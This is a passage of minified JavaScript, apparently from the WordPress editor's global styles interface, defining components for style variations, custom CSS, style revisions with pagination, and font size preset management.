${r?.css||&quot;&quot;}`}:{},d=Object.keys(c).length&gt;0?{blocks:c}:{},f={...l.styles,...u,...d};return{...l,settings:l.settings??{},styles:f}})],[n,r?.blocks,r?.css]);return!n||n.length&lt;1?null:(0,Dx.jsx)(MH.__experimentalGrid,{columns:2,className:&quot;global-styles-ui-style-variations-container&quot;,gap:e,children:i.map((a,l)=&gt;(0,Dx.jsx)(rh,{variation:a,children:c=&gt;(0,Dx.jsx)(tx,{label:a?.title,withHoverView:!0,isFocused:c,variation:a})},l))})}var Mx=__e;var hh=s(C(),1);function jH(){return(0,hh.jsxs)(VH.__experimentalVStack,{spacing:10,className:&quot;global-styles-ui-variation-container&quot;,children:[(0,hh.jsx)(Mx,{gap:3}),(0,hh.jsx)(fh,{title:(0,G6.__)(&quot;Color Variations&quot;),gap:3}),(0,hh.jsx)(oh,{title:(0,G6.__)(&quot;Typography&quot;),gap:3})]})}var nc=s(C(),1);function w_e(){return(0,nc.jsxs)(nc.Fragment,{children:[(0,nc.jsx)(St,{title:(0,W6.__)(&quot;Browse styles&quot;),description:(0,W6.__)(&quot;Choose a variation to change the look of the site.&quot;)}),(0,nc.jsx)(Lx.Card,{size:&quot;small&quot;,isBorderless:!0,className:&quot;global-styles-ui-screen-style-variations&quot;,children:(0,nc.jsx)(Lx.CardBody,{children:(0,nc.jsx)(jH,{})})})]})}var zH=w_e;var Bb=s(E(),1),UH=s(A(),1),HH=s($(),1);var ms=s(C(),1),{AdvancedPanel:x_e}=rt(HH.privateApis);function C_e(){let[e]=Ee(&quot;&quot;,void 0,&quot;user&quot;,!1),[t,r]=Ee(&quot;&quot;,void 0,&quot;merged&quot;,!1);return(0,ms.jsxs)(ms.Fragment,{children:[(0,ms.jsx)(St,{title:(0,Bb.__)(&quot;Additional CSS&quot;),description:(0,ms.jsxs)(ms.Fragment,{children:[(0,Bb.__)(&quot;You can add custom CSS to further customize the appearance and layout of your site.&quot;),(0,ms.jsx)(&quot;br&quot;,{}),(0,ms.jsx)(UH.ExternalLink,{href:(0,Bb.__)(&quot;https://developer.wordpress.org/advanced-administration/wordpress/css/&quot;),className:&quot;global-styles-ui-screen-css-help-link&quot;,children:(0,Bb.__)(&quot;Learn more about CSS&quot;)})]})}),(0,ms.jsx)(&quot;div&quot;,{className:&quot;global-styles-ui-screen-css&quot;,children:(0,ms.jsx)(x_e,{value:e,onChange:r,inheritedValue:t})})]})}var GH=C_e;var ic=s(E(),1),gh=s(A(),1),Gf=s(D(),1);var WH=s(O(),1),YH=s(W(),1),Mb=s(D(),1);var T_e={per_page:-1,_fields:&quot;id,name,avatar_urls&quot;,context:&quot;view&quot;,capabilities:[&quot;edit_theme_options&quot;]},P_e={per_page:100,page:1},Vx=[];function Lb({query:e}={}){let{user:t}=(0,Mb.useContext)(Br),r=(0,Mb.useMemo)(()=&gt;({...P_e,...e}),[e]),{authors:o,currentUser:n,isDirty:i,revisions:a,isLoadingGlobalStylesRevisions:l,revisionsCount:c}=(0,WH.useSelect)(u=&gt;{let{__experimentalGetDirtyEntityRecords:d,getCurrentUser:f,getUsers:m,getRevisions:h,__experimentalGetCurrentGlobalStylesId:g,getEntityRecord:v,isResolving:y}=u(YH.store),b=d()||[],_=f(),S=b.length&gt;0,x=g(),R=(x?v(&quot;root&quot;,&quot;globalStyles&quot;,x):void 0)?._links?.[&quot;version-history&quot;]?.[0]?.count??0,F=x&amp;&amp;h(&quot;root&quot;,&quot;globalStyles&quot;,x,r)||Vx,B=m(T_e)||Vx,z=x?y(&quot;getRevisions&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,x,r]):!1;return{authors:B,currentUser:_,isDirty:S,revisions:F,isLoadingGlobalStylesRevisions:z,revisionsCount:R}},[r]);return(0,Mb.useMemo)(()=&gt;{if(!o.length||l)return{revisions:Vx,hasUnsavedChanges:i,isLoading:!0,revisionsCount:c};let u=a.map(f=&gt;({...f,author:o.find(m=&gt;m.id===f.author)}));if(a.length){if(u[0].id!==&quot;unsaved&quot;&amp;&amp;r.page===1&amp;&amp;(u[0].isLatest=!0),i&amp;&amp;t&amp;&amp;Object.keys(t).length&gt;0&amp;&amp;n&amp;&amp;r.page===1){let f={id:&quot;unsaved&quot;,styles:t?.styles,settings:t?.settings,_links:t?._links,author:{name:n?.name||&quot;&quot;,avatar_urls:n?.avatar_urls||{}},modified:new Date};u.unshift(f)}r.per_page&amp;&amp;r.page===Math.ceil(c/r.per_page)&amp;&amp;u.push({id:&quot;parent&quot;,styles:{},settings:{}})}return{revisions:u,hasUnsavedChanges:i,isLoading:!1,revisionsCount:c}},[i,a,n,o,t,l,c,r.page,r.per_page])}var Vo=s(E(),1),Vb=s(A(),1),Wa=s(po(),1),qH=s(W(),1),ZH=s(O(),1);var jx=s(yo(),1),_o=s(C(),1),k_e=3600*1e3*24;function E_e({revision:e,previousRevision:t}){let r=My(e,t,{maxResults:7});return r.length?(0,_o.jsx)(&quot;ul&quot;,{&quot;data-testid&quot;:&quot;global-styles-revision-changes&quot;,className:&quot;global-styles-ui-screen-revisions__changes&quot;,children:r.map(o=&gt;(0,_o.jsx)(&quot;li&quot;,{children:o},o))}):null}function R_e(e,t,r,o){return e===&quot;parent&quot;?(0,Vo.__)(&quot;Reset the styles to the theme defaults&quot;):e===&quot;unsaved&quot;?(0,Vo.sprintf)((0,Vo.__)(&quot;Unsaved changes by %s&quot;),t):o?(0,Vo.sprintf)((0,Vo.__)(&quot;Changes saved by %1$s on %2$s. This revision matches current editor styles.&quot;),t,r):(0,Vo.sprintf)((0,Vo.__)(&quot;Changes saved by %1$s on %2$s&quot;),t,r)}function A_e({userRevisions:e,selectedRevisionId:t,onChange:r,canApplyRevision:o,onApplyRevision:n}){let{currentThemeName:i,currentUser:a}=(0,ZH.useSelect)(u=&gt;{let{getCurrentTheme:d,getCurrentUser:f}=u(qH.store),m=d();return{currentThemeName:m?.name?.rendered||m?.stylesheet,currentUser:f()}},[]),l=(0,Wa.getDate)(null).getTime(),{datetimeAbbreviated:c}=(0,Wa.getSettings)().formats;return(0,_o.jsx)(Vb.Composite,{orientation:&quot;vertical&quot;,className:&quot;global-styles-ui-screen-revisions__revisions-list&quot;,&quot;aria-label&quot;:(0,Vo.__)(&quot;Global styles revisions list&quot;),role:&quot;listbox&quot;,children:e.map((u,d)=&gt;{let{id:f,author:m,modified:h}=u,g=f===&quot;unsaved&quot;,v=g?a:m,y=v?.name||(0,Vo.__)(&quot;User&quot;),b=v?.avatar_urls?.[&quot;48&quot;],S=t?t===f:d===0,x=!o&amp;&amp;S,T=f===&quot;parent&quot;,R=h instanceof Date?h.toISOString():h,F=(0,Wa.getDate)(R??null),B=R&amp;&amp;l-F.getTime()&gt;k_e?(0,Wa.dateI18n)(c,F):(0,Wa.humanTimeDiff)(R??F,void 0),z=R_e(f,y,(0,Wa.dateI18n)(c,F),x);return(0,_o.jsxs)(Vb.Composite.Item,{className:&quot;global-styles-ui-screen-revisions__revision-item&quot;,&quot;aria-current&quot;:S,role:&quot;option&quot;,onKeyDown:L=&gt;{let{keyCode:M}=L;(M===jx.ENTER||M===jx.SPACE)&amp;&amp;r(u)},onClick:L=&gt;{L.preventDefault(),r(u)},&quot;aria-selected&quot;:S,&quot;aria-label&quot;:z,render:(0,_o.jsx)(&quot;div&quot;,{}),children:[(0,_o.jsx)(&quot;span&quot;,{className:&quot;global-styles-ui-screen-revisions__revision-item-wrapper&quot;,children:T?(0,_o.jsxs)(&quot;span&quot;,{className:&quot;global-styles-ui-screen-revisions__description&quot;,children:[(0,Vo.__)(&quot;Default styles&quot;),(0,_o.jsx)(&quot;span&quot;,{className:&quot;global-styles-ui-screen-revisions__meta&quot;,children:i})]}):(0,_o.jsxs)(&quot;span&quot;,{className:&quot;global-styles-ui-screen-revisions__description&quot;,children:[g?(0,_o.jsx)(&quot;span&quot;,{className:&quot;global-styles-ui-screen-revisions__date&quot;,children:(0,Vo.__)(&quot;(Unsaved)&quot;)}):(0,_o.jsx)(&quot;time&quot;,{className:&quot;global-styles-ui-screen-revisions__date&quot;,dateTime:R,children:B}),(0,_o.jsxs)(&quot;span&quot;,{className:&quot;global-styles-ui-screen-revisions__meta&quot;,children:[(0,_o.jsx)(&quot;img&quot;,{alt:y,src:b}),y]}),S&amp;&amp;(0,_o.jsx)(E_e,{revision:u,previousRevision:d&lt;e.length?e[d+1]:void 0})]})}),S&amp;&amp;(x?(0,_o.jsx)(&quot;p&quot;,{className:&quot;global-styles-ui-screen-revisions__applied-text&quot;,children:(0,Vo.__)(&quot;These styles are already applied to your site.&quot;)}):(0,_o.jsx)(Vb.Button,{size:&quot;compact&quot;,variant:&quot;primary&quot;,className:&quot;global-styles-ui-screen-revisions__apply-button&quot;,onClick:n,&quot;aria-label&quot;:(0,Vo.__)(&quot;Apply the selected revision to your site.&quot;),children:T?(0,Vo.__)(&quot;Reset to defaults&quot;):(0,Vo.__)(&quot;Apply&quot;)}))]},f)})})}var KH=A_e;var ps=s(A(),1),wo=s(E(),1);var Qs=s(C(),1);function XH({currentPage:e,numPages:t,changePage:r,totalItems:o,className:n,disabled:i=!1,buttonVariant:a=&quot;tertiary&quot;,label:l=(0,wo.__)(&quot;Pagination&quot;)}){return(0,Qs.jsxs)(ps.__experimentalHStack,{expanded:!1,as:&quot;nav&quot;,&quot;aria-label&quot;:l,spacing:3,justify:&quot;flex-start&quot;,className:re(&quot;global-styles-ui-pagination&quot;,n),children:[(0,Qs.jsx)(ps.__experimentalText,{variant:&quot;muted&quot;,className:&quot;global-styles-ui-pagination__total&quot;,children:(0,wo.sprintf)((0,wo._n)(&quot;%d item&quot;,&quot;%d items&quot;,o),o)}),(0,Qs.jsxs)(ps.__experimentalHStack,{expanded:!1,spacing:1,children:[(0,Qs.jsx)(ps.Button,{variant:a,onClick:()=&gt;r(1),accessibleWhenDisabled:!0,disabled:i||e===1,label:(0,wo.__)(&quot;First page&quot;),icon:(0,wo.isRTL)()?Tl:kl,size:&quot;compact&quot;}),(0,Qs.jsx)(ps.Button,{variant:a,onClick:()=&gt;r(e-1),accessibleWhenDisabled:!0,disabled:i||e===1,label:(0,wo.__)(&quot;Previous page&quot;),icon:(0,wo.isRTL)()?Ft:Nt,size:&quot;compact&quot;})]}),(0,Qs.jsx)(ps.__experimentalText,{variant:&quot;muted&quot;,children:(0,wo.sprintf)((0,wo._x)(&quot;%1$d of %2$d&quot;,&quot;paging&quot;),e,t)}),(0,Qs.jsxs)(ps.__experimentalHStack,{expanded:!1,spacing:1,children:[(0,Qs.jsx)(ps.Button,{variant:a,onClick:()=&gt;r(e+1),accessibleWhenDisabled:!0,disabled:i||e===t,label:(0,wo.__)(&quot;Next page&quot;),icon:(0,wo.isRTL)()?Nt:Ft,size:&quot;compact&quot;}),(0,Qs.jsx)(ps.Button,{variant:a,onClick:()=&gt;r(t),accessibleWhenDisabled:!0,disabled:i||e===t,label:(0,wo.__)(&quot;Last page&quot;),icon:(0,wo.isRTL)()?kl:Tl,size:&quot;compact&quot;})]})]})}var Js=s(C(),1),QH=10;function O_e({onClose:e}={}){let{user:t,onChange:r}=(0,Gf.useContext)(Br),{params:o,goTo:n}=(0,gh.useNavigator)(),{revisionId:i}=o,[a,l]=(0,Gf.useState)(1),{revisions:c,isLoading:u,hasUnsavedChanges:d,revisionsCount:f}=Lb({query:{per_page:QH,page:a}}),m=Math.ceil(f/QH),[h,g]=(0,Gf.useState)(!1),v=(0,Gf.useMemo)(()=&gt;i&amp;&amp;c.find(B=&gt;String(B.id)===String(i))||t,[i,c,t]),y=pf(v,t),b=()=&gt;{e&amp;&amp;e()},_=F=&gt;{r(F),g(!1),b()},S=F=&gt;{n(`/revisions/${F.id}`)},x=v?.id??c[0]?.id,T=!!x&amp;&amp;x!==&quot;unsaved&quot;&amp;&amp;!y,R=!!c.length;return(0,Js.jsxs)(Js.Fragment,{children:[(0,Js.jsx)(St,{title:f?(0,ic.sprintf)((0,ic.__)(&quot;Revisions (%d)&quot;),f):(0,ic.__)(&quot;Revisions&quot;),description:(0,ic.__)(`Click on previously saved styles to preview them. To restore a selected version to the editor, hit &quot;Apply.&quot; When you&#039;re ready, use the Save button to save your changes.`),onBack:b}),!R&amp;&amp;(0,Js.jsx)(gh.Spinner,{className:&quot;global-styles-ui-screen-revisions__loading&quot;}),(0,Js.jsx)(KH,{onChange:S,selectedRevisionId:x,userRevisions:c,canApplyRevision:T,onApplyRevision:()=&gt;d?g(!0):_(v)}),m&gt;1&amp;&amp;(0,Js.jsx)(&quot;div&quot;,{className:&quot;global-styles-ui-screen-revisions__footer&quot;,children:(0,Js.jsx)(XH,{className:&quot;global-styles-ui-screen-revisions__pagination&quot;,currentPage:a,numPages:m,changePage:l,totalItems:f,disabled:u,label:(0,ic.__)(&quot;Global Styles pagination&quot;)})}),h&amp;&amp;(0,Js.jsx)(gh.__experimentalConfirmDialog,{isOpen:h,confirmButtonText:(0,ic.__)(&quot;Apply&quot;),onConfirm:()=&gt;_(v),onCancel:()=&gt;g(!1),size:&quot;medium&quot;,children:(0,ic.__)(&quot;Are you sure you want to apply this revision? Any unsaved changes will be lost.&quot;)})]})}var JH=O_e;var no=s(E(),1),Pr=s(A(),1);var oG=s(D(),1);var $H=s(A(),1),eG=s(E(),1),tG=s(C(),1);function I_e({text:e,confirmButtonText:t,isOpen:r,toggleOpen:o,onConfirm:n}){let i=async()=&gt;{o(),n()},a=()=&gt;{o()};return(0,tG.jsx)($H.__experimentalConfirmDialog,{isOpen:r,cancelButtonText:(0,eG.__)(&quot;Cancel&quot;),confirmButtonText:t,onCancel:a,onConfirm:i,size:&quot;medium&quot;,children:e})}var rG=I_e;var _t=s(C(),1),{Menu:jb}=rt(Pr.privateApis);function Y6({label:e,origin:t,sizes:r,handleAddFontSize:o,handleResetFontSizes:n}){let[i,a]=(0,oG.useState)(!1),l=()=&gt;a(!i),c=t===&quot;custom&quot;?(0,no.__)(&quot;Are you sure you want to remove all custom font size presets?&quot;):(0,no.__)(&quot;Are you sure you want to reset all font size presets to their default values?&quot;);return(0,_t.jsxs)(_t.Fragment,{children:[n&amp;&amp;i&amp;&amp;(0,_t.jsx)(rG,{text:c,confirmButtonText:t===&quot;custom&quot;?(0,no.__)(&quot;Remove&quot;):(0,no.__)(&quot;Reset&quot;),isOpen:i,toggleOpen:l,onConfirm:n}),(0,_t.jsxs)(Pr.__experimentalVStack,{spacing:4,children:[(0,_t.jsxs)(Pr.__experimentalHStack,{children:[(0,_t.jsx)(Tr,{level:3,children:e}),(0,_t.jsxs)(Pr.FlexItem,{className:&quot;global-styles-ui__typography-panel__options-container&quot;,children:[t===&quot;custom&quot;&amp;&amp;(0,_t.jsx)(Pr.Button,{label:(0,no.__)(&quot;Add font size&quot;),icon:Pl,size:&quot;small&quot;,onClick:o}),!!n&amp;&amp;(0,_t.jsxs)(jb,{children:[(0,_t.jsx)(jb.TriggerButton,{render:(0,_t.jsx)(Pr.Button,{size:&quot;small&quot;,icon:Nr,label:(0,no.__)(&quot;Font size presets options&quot;)})}),(0,_t.jsx)(jb.Popover,{children:(0,_t.jsx)(jb.Item,{onClick:l,children:(0,_t.jsx)(jb.ItemLabel,{children:t===&quot;custom&quot;?(0,no.__)(&quot;Remove font size presets&quot;):(0,no.__)(&quot;Reset font size presets&quot;)})})})]})]})]}),!!r.length&amp;&amp;(0,_t.jsx)(Pr.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:r.map(u=&gt;(0,_t.jsx)(fr,{path:`/typography/font-sizes/${t}/${u.slug}`,children:(0,_t.jsxs)(Pr.__experimentalHStack,{children:[(0,_t.jsx)(Pr.FlexItem,{className:&quot;global-styles-ui-font-size__item&quot;,children:u.name}),(0,_t.jsx)(Pr.FlexItem,{display:&quot;flex&quot;,children:(0,_t.jsx)(No,{icon:(0,no.isRTL)()?Nt:Ft})})]})},u.slug))})]})]})}function N_e(){let[e,t]=pe(&quot;typography.fontSizes.theme&quot;),[r]=pe(&quot;typography.fontSizes.theme&quot;,&quot;base&quot;),[o,n]=pe(&quot;typography.fontSizes.default&quot;),[i]=pe(&quot;typography.fontSizes.default&quot;,&quot;base&quot;),[a=[],l]=pe(&quot;typography.fontSizes.custom&quot;),[c]=pe(&quot;typography.defaultFontSizes&quot;),u=()=&gt;{let f=Jw(a,&quot;custom-&quot;),m={name:(0,no.sprintf)((0,no.__)(&quot;New Font Size %d&quot;),f),size:&quot;16px&quot;,slug:`custom-${f}`};l([...a,m])},d=(f,m)=&gt;f.map(h=&gt;h.size).join(&quot;&quot;)===m.map(h=&gt;h.size).join(&quot;&quot;);return(0,_t.jsxs)(Pr.__experimentalVStack,{spacing:2,children:[(0,_t.jsx)(St,{title:(0,no.__)(&quot;Font size presets&quot;),description:(0,no.__)(&quot;Create and edit the presets used for font sizes across the site.&quot;)}),(0,_t.jsx)(Pr.__experimentalView,{children:(0,_t.jsx)(Pr.__experimentalSpacer,{paddingX:4,children:(0,_t.jsxs)(Pr.__experimentalVStack,{spacing:8,children:[!!e?.length&amp;&amp;(0,_t.jsx)(Y6,{label:(0,no.__)(&quot;Theme&quot;),origin:&quot;theme&quot;,sizes:e,handleAddFontSize:u,handleResetFontSizes:d(e,r)?void 0:()=&gt;t(r)}),c&amp;&amp;!!o?.length&amp;&amp;(0,_t.jsx)(Y6,{label:(0,no.__)(&quot;Default&quot;),origin:&quot;default&quot;,sizes:o,handleAddFontSize:u,handleResetFontSizes:d(o,i)?void 0:()=&gt;n(i)}),(0,_t.jsx)(Y6,{label:(0,no.__)(&quot;Custom&quot;),origin:&quot;custom&quot;,sizes:a,handleAddFontSize:u,handleResetFontSizes:a.length&gt;0?()=&gt;l([]):void 0})]})})})]})}var nG=N_e;var si=s(E(),1),kr=s(A(),1);var zb=s(D(),1);var iG=s($(),1),sG=s(E(),1);var aG=s(C(),1);function F_e({fontSize:e}){let[t]=Ee(&quot;typography&quot;),r=typeof e?.fluid==&quot;object&quot;&amp;&amp;e?.fluid?.min&amp;&amp;e?.fluid?.max?{minimumFontSize:e.fluid.min,maximumFontSize:e.fluid.max}:{fontSize:e.size},o=(0,iG.getComputedFluidTypographyValue)(r);return(0,aG.jsx)(&quot;div&quot;,{className:&quot;global-styles-ui-typography-preview&quot;,style:{fontSize:o,fontFamily:t?.fontFamily??&quot;serif&quot;},children:(0,sG.__)(&quot;Aa&quot;)})}var lG=F_e;var cG=s(A(),1),vh=s(E(),1),uG=s(C(),1);function D_e({fontSize:e,isOpen:t,toggleOpen:r,handleRemoveFontSize:o}){let n=async()=&gt;{r(),o(e)},i=()=&gt;{r()};return(0,uG.jsx)(cG.__experimentalConfirmDialog,{isOpen:t,cancelButtonText:(0,vh.__)(&quot;Cancel&quot;),confirmButtonText:(0,vh.__)(&quot;Delete&quot;),onCancel:i,onConfirm:n,size:&quot;medium&quot;,children:e&amp;&amp;(0,vh.sprintf)((0,vh.__)(&#039;Are you sure you want to delete &quot;%s&quot; font size preset?&#039;),e.name)})}var dG=D_e;var $s=s(A(),1),yh=s(E(),1),fG=s(D(),1),sc=s(C(),1);function B_e({fontSize:e,toggleOpen:t,handleRename:r}){let[o,n]=(0,fG.useState)(e.name),i=()=&gt;{o&amp;&amp;o.trim()&amp;&amp;r(o),t()};return(0,sc.jsx)($s.Modal,{onRequestClose:t,focusOnMount:&quot;firstContentElement&quot;,title:(0,yh.__)(&quot;Rename&quot;),size:&quot;small&quot;,children:(0,sc.jsx)(&quot;form&quot;,{onSubmit:a=&gt;{a.preventDefault(),i(),t()},children:(0,sc.jsxs)($s.__experimentalVStack,{spacing:&quot;3&quot;,children:[(0,sc.jsx)($s.__experimentalInputControl,{__next40pxDefaultSize:!0,autoComplete:&quot;off&quot;,value:o,onChange:n,label:(0,yh.__)(&quot;Name&quot;),placeholder:(0,yh.__)(&quot;Font size preset name&quot;)}),(0,sc.jsxs)($s.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,sc.jsx)($s.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,children:(0,yh.__)(&quot;Cancel&quot;)}),(0,sc.jsx)($s.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,children:(0,yh.__)(&quot;Save&quot;)})]})]})})})}var mG=B_e;var io=s(A(),1),ac=s(C(),1),M_e=[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vw&quot;,&quot;vh&quot;];function zx(e){let{baseControlProps:t}=(0,io.useBaseControlProps)(e),{value:r,onChange:o,fallbackValue:n,disabled:i,label:a}=e,l=(0,io.__experimentalUseCustomUnits)({availableUnits:M_e}),[c,u=&quot;px&quot;]=(0,io.__experimentalParseQuantityAndUnitFromRawValue)(r,l),d=!!u&amp;&amp;[&quot;em&quot;,&quot;rem&quot;,&quot;vw&quot;,&quot;vh&quot;].includes(u);return(0,ac.jsx)(io.BaseControl,{...t,children:(0,ac.jsxs)(io.Flex,{children:[(0,ac.jsx)(io.FlexItem,{isBlock:!0,children:(0,ac.jsx)(io.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:a,hideLabelFromVision:!0,value:r,onChange:h=&gt;{o?.(h)},units:l,min:0,disabled:i})}),(0,ac.jsx)(io.FlexItem,{isBlock:!0,children:(0,ac.jsx)(io.__experimentalSpacer,{marginX:2,marginBottom:0,children:(0,ac.jsx)(io.RangeControl,{__next40pxDefaultSize:!0,label:a,hideLabelFromVision:!0,value:c,initialPosition:n,withInputField:!1,onChange:h=&gt;{o?.(h!==void 0?h+u:void 0)},min:0,max:d?10:100,step:d?.1:1,disabled:i})})})]})})}var pt=s(C(),1),{Menu:Wf}=rt(kr.privateApis);function L_e(){let[e,t]=(0,zb.useState)(!1),[r,o]=(0,zb.useState)(!1),{params:{origin:n,slug:i},goBack:a}=(0,kr.useNavigator)(),[l,c]=pe(&quot;typography.fontSizes&quot;),[u]=pe(&quot;typography.fluid&quot;),d=l?.[n]??[],f=d.find(B=&gt;B.slug===i);if((0,zb.useEffect)(()=&gt;{i&amp;&amp;!f&amp;&amp;a()},[i,f,a]),!n||!i||!f)return null;let m=f?.fluid!==void 0?!!f.fluid:!!u,h=typeof f?.fluid==&quot;object&quot;,g=B=&gt;{x(&quot;name&quot;,B)},v=B=&gt;{x(&quot;size&quot;,B)},y=B=&gt;{x(&quot;fluid&quot;,B)},b=B=&gt;{B?x(&quot;fluid&quot;,{min:f.size,max:f.size}):x(&quot;fluid&quot;,!0)},_=B=&gt;{let z=typeof f.fluid==&quot;object&quot;?f.fluid:{};x(&quot;fluid&quot;,{...z,min:B})},S=B=&gt;{let z=typeof f.fluid==&quot;object&quot;?f.fluid:{};x(&quot;fluid&quot;,{...z,max:B})},x=(B,z)=&gt;{let L=d.map(M=&gt;M.slug===i?{...M,[B]:z}:M);c({...l,[n]:L})},T=()=&gt;{let B=d.filter(z=&gt;z.slug!==i);c({...l,[n]:B})},R=()=&gt;{t(!e)},F=()=&gt;{o(!r)};return(0,pt.jsxs)(pt.Fragment,{children:[(0,pt.jsx)(dG,{fontSize:f,isOpen:e,toggleOpen:R,handleRemoveFontSize:T}),r&amp;&amp;(0,pt.jsx)(mG,{fontSize:f,toggleOpen:F,handleRename:g}),(0,pt.jsxs)(kr.__experimentalVStack,{spacing:4,children:[(0,pt.jsxs)(kr.__experimentalHStack,{justify:&quot;space-between&quot;,alignment:&quot;flex-start&quot;,children:[(0,pt.jsx)(St,{title:f.name,description:(0,si.sprintf)((0,si.__)(&quot;Manage the font size %s.&quot;),f.name)}),n===&quot;custom&quot;&amp;&amp;(0,pt.jsx)(kr.FlexItem,{children:(0,pt.jsx)(kr.__experimentalSpacer,{marginTop:3,marginBottom:0,paddingX:4,children:(0,pt.jsxs)(Wf,{children:[(0,pt.jsx)(Wf.TriggerButton,{render:(0,pt.jsx)(kr.Button,{size:&quot;small&quot;,icon:Nr,label:(0,si.__)(&quot;Font size options&quot;)})}),(0,pt.jsxs)(Wf.Popover,{children:[(0,pt.jsx)(Wf.Item,{onClick:F,children:(0,pt.jsx)(Wf.ItemLabel,{children:(0,si.__)(&quot;Rename&quot;)})}),(0,pt.jsx)(Wf.Item,{onClick:R,children:(0,pt.jsx)(Wf.ItemLabel,{children:(0,si.__)(&quot;Delete&quot;)})})]})]})})})]}),(0,pt.jsx)(kr.__experimentalView,{children:(0,pt.jsx)(kr.__experimentalSpacer,{paddingX:4,marginBottom:0,paddingBottom:6,children:(0,pt.jsxs)(kr.__experimentalVStack,{spacing:4,children:[(0,pt.jsx)(kr.FlexItem,{children:(0,pt.jsx)(lG,{fontSize:f})}),(0,pt.jsx)(zx,{label:(0,si.__)(&quot;Size&quot;),value:!h&amp;&amp;f.size?String(f.size):&quot;&quot;,onChange:v,disabled:h}),(0,pt.jsx)(kr.ToggleControl,{label:(0,si.__)(&quot;Fluid typography&quot;),help:(0,si.__)(&quot;Scale the font size dynamically to fit the screen or viewport.&quot;),checked:m,onChange:y}),m&amp;&amp;(0,pt.jsx)(kr.ToggleControl,{label:(0,si.__)(&quot;Custom fluid values&quot;),help:(0,si.__)(&quot;Set custom min and max values for the fluid font size.&quot;),checked:h,onChange:b}),h&amp;&amp;(0,pt.jsxs)(pt.Fragment,{children:[(0,pt.jsx)(zx,{label:(0,si.__)(&quot;Minimum&quot;),value:typeof f?.fluid==&quot;object&quot;?f.fluid?.min:void 0,onChange:_}),(0,pt.jsx)(zx,{label:(0,si.__)(&quot;Maximum&quot;),value:typeof f?.fluid==&quot;object&quot;?f.fluid?.max:void 0,onChange:S})]})]})})})]})]})}var pG=L_e;var Oe=s(C(),1);function V_e({parentMenu:e,blockStyles:t,blockName:r}){return(0,Oe.jsx)(Oe.Fragment,{children:t.map((o,n)=&gt;(0,Oe.jsx)(bh.Navigator.Screen,{path:e+&quot;/variations/&quot;+o.name,children:(0,Oe.jsx)(R6,{name:r,variation:o.name})},n))})}function j_e({name:e,parentMenu:t=&quot;&quot;}){let r=(0,hG.useSelect)(o=&gt;{if(!e)return[];let{getBlockStyles:n}=o(Ux.store);return n(e)},[e]);return r?.length?(0,Oe.jsx)(V_e,{parentMenu:t,blockStyles:r,blockName:e||&quot;&quot;}):null}function Z6({value:e,baseValue:t,onChange:r,path:o,onPathChange:n,fontLibraryEnabled:i=!1,serverCSS:a,serverSettings:l}){let c=(0,Ux.getBlockTypes)(),u=(0,Uu.useMemo)(()=&gt;go(t,e),[t,e]),[d,f]=jy(u,[],{styleOptions:{variationStyles:!0}}),m=(0,Uu.useMemo)(()=&gt;[...a??[],...d??[]],[a,d]),h=(0,Uu.useMemo)(()=&gt;({...l,__experimentalFeatures:f,styles:m}),[f,l,m]);return(0,Oe.jsx)(gb,{value:e,baseValue:t,onChange:r,fontLibraryEnabled:i,children:(0,Oe.jsx)(gG.BlockEditorProvider,{settings:h,children:(0,Oe.jsxs)(bh.Navigator,{className:&quot;global-styles-ui-sidebar__navigator-provider&quot;,initialPath:o||&quot;/&quot;,children:[(o||n)&amp;&amp;(0,Oe.jsx)(z_e,{path:o,onPathChange:n}),(0,Oe.jsx)(Zr,{path:&quot;/&quot;,children:(0,Oe.jsx)(sz,{})}),(0,Oe.jsx)(Zr,{path:&quot;/colors&quot;,children:(0,Oe.jsx)(eH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/typography&quot;,children:(0,Oe.jsx)(VU,{})}),(0,Oe.jsx)(Zr,{path:&quot;/typography/font-sizes&quot;,children:(0,Oe.jsx)(nG,{})}),(0,Oe.jsx)(Zr,{path:&quot;/typography/font-sizes/:origin/:slug&quot;,children:(0,Oe.jsx)(pG,{})}),(0,Oe.jsx)(Zr,{path:&quot;/layout&quot;,children:(0,Oe.jsx)(FH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/colors/palette&quot;,children:(0,Oe.jsx)(uH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/variations&quot;,children:(0,Oe.jsx)(zH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/css&quot;,children:(0,Oe.jsx)(GH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/revisions/:revisionId?&quot;,children:(0,Oe.jsx)(JH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/shadows&quot;,children:(0,Oe.jsx)(kH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/shadows/edit/:category/:slug&quot;,children:(0,Oe.jsx)(EH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/background&quot;,children:(0,Oe.jsx)(gH,{})}),(0,Oe.jsx)(Zr,{path:&quot;/typography/text&quot;,children:(0,Oe.jsx)(uh,{element:&quot;text&quot;})}),(0,Oe.jsx)(Zr,{path:&quot;/typography/link&quot;,children:(0,Oe.jsx)(uh,{element:&quot;link&quot;})}),(0,Oe.jsx)(Zr,{path:&quot;/typography/heading&quot;,children:(0,Oe.jsx)(uh,{element:&quot;heading&quot;})}),(0,Oe.jsx)(Zr,{path:&quot;/typography/caption&quot;,children:(0,Oe.jsx)(uh,{element:&quot;caption&quot;})}),(0,Oe.jsx)(Zr,{path:&quot;/typography/button&quot;,children:(0,Oe.jsx)(uh,{element:&quot;button&quot;})}),(0,Oe.jsx)(Zr,{path:&quot;/blocks&quot;,children:(0,Oe.jsx)(mz,{})}),c.map(g=&gt;(0,Oe.jsxs)(Uu.Fragment,{children:[(0,Oe.jsx)(Zr,{path:&quot;/blocks/&quot;+encodeURIComponent(g.name),children:(0,Oe.jsx)(R6,{name:g.name})}),(0,Oe.jsx)(j_e,{name:g.name,parentMenu:&quot;/blocks/&quot;+encodeURIComponent(g.name)})]},g.name))]})})})}function Zr({path:e,children:t}){return(0,Oe.jsx)(bh.Navigator.Screen,{className:&quot;global-styles-ui-sidebar__navigator-screen&quot;,path:e,children:t})}function z_e({path:e,onPathChange:t}){let 